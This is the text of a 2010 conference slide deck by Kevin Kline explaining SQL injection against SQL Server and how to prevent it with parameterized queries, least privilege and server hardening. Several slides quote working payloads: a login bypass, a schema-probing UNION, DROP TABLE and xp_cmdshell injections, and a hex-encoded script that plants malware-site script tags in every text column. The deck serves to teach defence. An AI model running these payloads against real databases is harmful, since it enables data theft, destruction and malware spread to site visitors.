Understanding and Preventing SQL Injection Attacks Kevin Kline

Understanding and Preventing SQL Injection Attacks Kevin Kline, Technical Strategy Manager Twitter @kekline Blog at http: //Kevin. EKline. com © 2010 Quest Software, Inc. ALL RIGHTS RESERVED

Your Speaker: Kevin Kline My first book Founding PASS MVP Status 2

Agenda • • • What is SQL Injection? An Attacker’s Approach SQL Injection Techniques Preventing SQL Injection Security Best Practices & Tips Useful Links and Resources 3

Context and Background 4

What is SQL Injection? • SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement 5

Who is Vulnerable? • All SQL database platforms are susceptible • Bypasses firewall protections • Applications that build and send SQL strings are vulnerable – Coding techniques can be exploited – SQL statement itself is hacked – Formatting vulnerabilities 6

Like This… Courtesy of http: //xkcd. com/327/ 7

Or This Webcode… string cmd. Str = @"SELECT order_id, order_date, qty FROM Production. Orders WHERE customer_name LIKE '%" + Search. Text + "%'"; using (Sql. Connection conn = new Sql. Connection(conn. Str)) using (Sql. Data. Adapter sda = new Sql. Data. Adapter(cmd. Str, conn)) { Data. Table dt. Orders = new Data. Table(); sda. Fill(dt. Orders); return dt. Orders. Default. View; } 8

Injected Values Can Range from Bad… The “Good” search text: 'Hanso Foundation' The “Curious” search text: 'Widmore Industries' or 1=1 -- ‘ The “Exploratory” search text: …ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA. COLUMNS WHERE TABLE_NAME = 'Address' -- 9 9

…To Worse The Ugly search text: …ZZZ'; DROP TABLE customer_credit_card -- The REALLY UGLY search text: …ZZZ'; xp_cmdshell(‘FTP …’) 10 10

Attack Methodology Reconnaissance Scan for Vulnerabilities / Access Gain Access Escalate Privileges Maintain Access Cover Tracks 11

Attackers… • …understand the concept of ‘surface area’ • …use error messages to learn about the structure of the underlying SQL statements and database • …exploit SQL formatting characters (single quotes, comment notation (--), semi-colons, etc) 12

Then Attackers… • …manipulate the SQL statements to learn about the structure of the database and data • …execute SQL statements at will • …use built-in trap doors inside of the DBMS to go to the next level – – Upload their own files, even replacing your own Examine the rest of your infrastructure Download data Launch malware and bots 13

SQL Injection Techniques • • • Probing databases Bypassing authorization Executing multiple SQL statements Calling built-in stored procedures Exiting to the OS for command-line access Inserting code to be used by the web app 14

Probing Databases • Web apps usually return connectivity error information – unless you trap the errors! • Hackers can use this information and continually modify parameters to discover: – Table names, column names, data types, row values Error Type: Microsoft OLE DB Provider for SQL Server (0 x 80040 E 14) Unclosed quotation mark before the character string ′ having 1 = 1 --′. /Project 1/Demo. asp, line 14 15

Bypassing Authorization Good Guy, passes these values - User. ID: administrator Password: Good. One SELECT * FROM users WHERE username = ‘administrator’ AND password = ‘Good. One’; Bad Guy, passes this value - User. ID: ‘ OR 1=1 Password -SELECT * FROM users WHERE username = ‘’ OR 1=1 – and password = 16 16

INSERT Statement Injections Good Guy INSERT INTO Authors (au. Name, Email. Address) VALUES (‘Julian Isla’, ‘juliani@hotmail. com) Bad Guy INSER INTO Authors (au. Name, Email. Address) VALUES (‘SELECT TOP 1 name FROM sys_logins’, badguy@hacker. com’); EXEC xp_regread HKEY… ; Very Bad Guy, uses scripting and text/xml fields 17 17

Blind SQL Injection • Good apps trap default errors and show their own. Hackers flank this with: – Normal Blind: Get response data from error codes, severity levels, and HTTP status codes – Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions. 18

Blind Example URL query string: DECLARE%20@S%20 NVARCHAR(4000); SET%20@S=CAST(0 x 4400450 04300. . . 7200%20 AS%20 NVARCHAR(4000)); EXEC(@S); -- Decoded: DECLARE @S NVARCHAR(4000); SET @S=CAST(0 x 440045004300. . . 7200 AS NVARCHAR(4000)); EXEC(@S); -SELECT CAST('this could be some bad code' as varbinary(256)) SELECT CAST (0 x 7468697320636 F 756 C 6420626520736 F 6 D 652062616420636 F 6465 as varchar(256)) 19 19

Blind Example Final SQL code being executed (hex value decoded): DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR select a. name, b. name from sysobjects a, syscolumns b where a. id=b. id and a. xtype='u' and (b. xtype=99 or b. xtype=35 or b. xtype=231 or b. xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar, ['+@C+ ']))+''<script src=http: //www. 211796*. net/f****p. js></script>''') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 20 20

SQL Injection as an Attack Vector • • Attackers have chosen not to go after data Targets have been legitimate web sites Plant links and redirects to malware sites Use of a blended attack (browser vulnerability) to infect the client computer • Take control of client computers 21

Preventing SQL Injection • Never let an app connect as sysadmin – Least privilege principle • Building secure SQL statements and apps: – Input validation: check for valid input • Don’t check for bad input, you will always miss a case – Use stored procedure to hide application logic – no default error messages; no direct access to tables – Use parameterized input, not string concatenation – Multi layered input checking: application, stored procedure, database schema • Apply the latest security patches! 22

Best Practices, Service Accounts • SQL Server may use the local system account. • Set up a specific Windows login (not Admin!) with appropriate privileges for use by the MSSQLServer system service. • Add a separate Windows login (not Admin!) for SQLServer. Agent system service. 23

Best Practices, Security Settings • Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent. • Set security Audit Level at least to ‘Failure’. Monitor it! • Make sure data and log files are on NTFS with proper ACLs applied. • Restrict system stored proc’s and XP’s to sysadminsonly • Remove guest from all but master and tempdb • Disable anything unneeded and unused! (e. g. SQL Browser service, unneeded network protocols) • Use Windows Authentication where feasible. . 24

Best Practices, Security Checks • • Check for null and bad passwords frequently Check for non-SA permissions on all system SPs and XPs Monitor failed login attempts Three free scanner utils (HP Scrawlr, URLScan, and Microsoft Source Code Analyzer for SQL Injection (http: //www. sqlmag. com/Articles/Article. ID/100720. html? Ad=1) • Microsoft Assessment and Planning (MAP) is a great tool as well, available at http: //technet. microsoft. com/enus/library/bb 977556. aspx Tip: Get Quest Discovery Wizard for free! 25

Best Practices, Security Practices • Strong SA password – at least 6 digits long with at least 2 numbers – Add mixed case and symbols for more strength • Use roles for provisioning, not users – More work, user must be assigned to a login and role – Easy to forget when user leaves • Never hardcode passwords • Never write apps for use by the SA account • Change passwords frequently 26

Best Practices, Security for Developers • Do Not Trust User Input Data Validation – Black list vs White list • • • Run With Least Privilege Defense in Depth Fail Intelligently Test Security Remove unused stored procedures, views, and UDFs 27

Best Practices, Security for Developers (cont’d) • Use Parameterized Queries or Stored Procedures – Do not use string concatenations to build SQL queries • Use Views and Stored Procedures • Demand security savvy third-party applications! 28

Resources • http: //www. sqlsecurity. com – my favorite for broad security and tools on SQL Server • Microsoft SQL Injection white paper at http: //msdn. microsoft. com/en-us/library/ms 161953. aspx • How-to: Prevent SQL Injection on ASP. Net http: //msdn. microsoft. com/en-us/library/ms 998271. aspx • SQL Injection via CAST: http: //www. rtraction. com/blog/devit/sql-injection-hack-usingcast. html • SQL Injection Cheat Sheet: http: //ferruh. mavituna. com 29

Quest Software Swag for SQL Server Free posters, guides, and other goodies. HTTP: //www. quest. com/backstage/promotion. aspx March 2010 July 2010 Free DVD Training: HTTP: //db-management. com/live 30

Quest Software Resources for SQL Server SQLServer. Pedia – SQL Server knowledge base, straight from the experts. HTTP: //www. SQLServer. Pedia. com SQL Server Community – Online discussion forums, customization library, and beta programs. HTTP: //SQLServer. quest. com SQL Server Backstage – All things SQL Server at Quest including our Pain of the Week Webcasts. HTTP: //www. quest. com/Back. Stage 31

Questions ? Send questions to me at: kevin. kline@quest. com Twitter @kekline Blogs at SQLServer. Pedia. com, SQLblog. com, SQLMag. com, etc. Rate Me – http: //Speaker. Rate. com/kekline/ Content at http: //Kevin. EKline. com/Slides/ © 2010 Quest Software, Inc. ALL RIGHTS RESERVED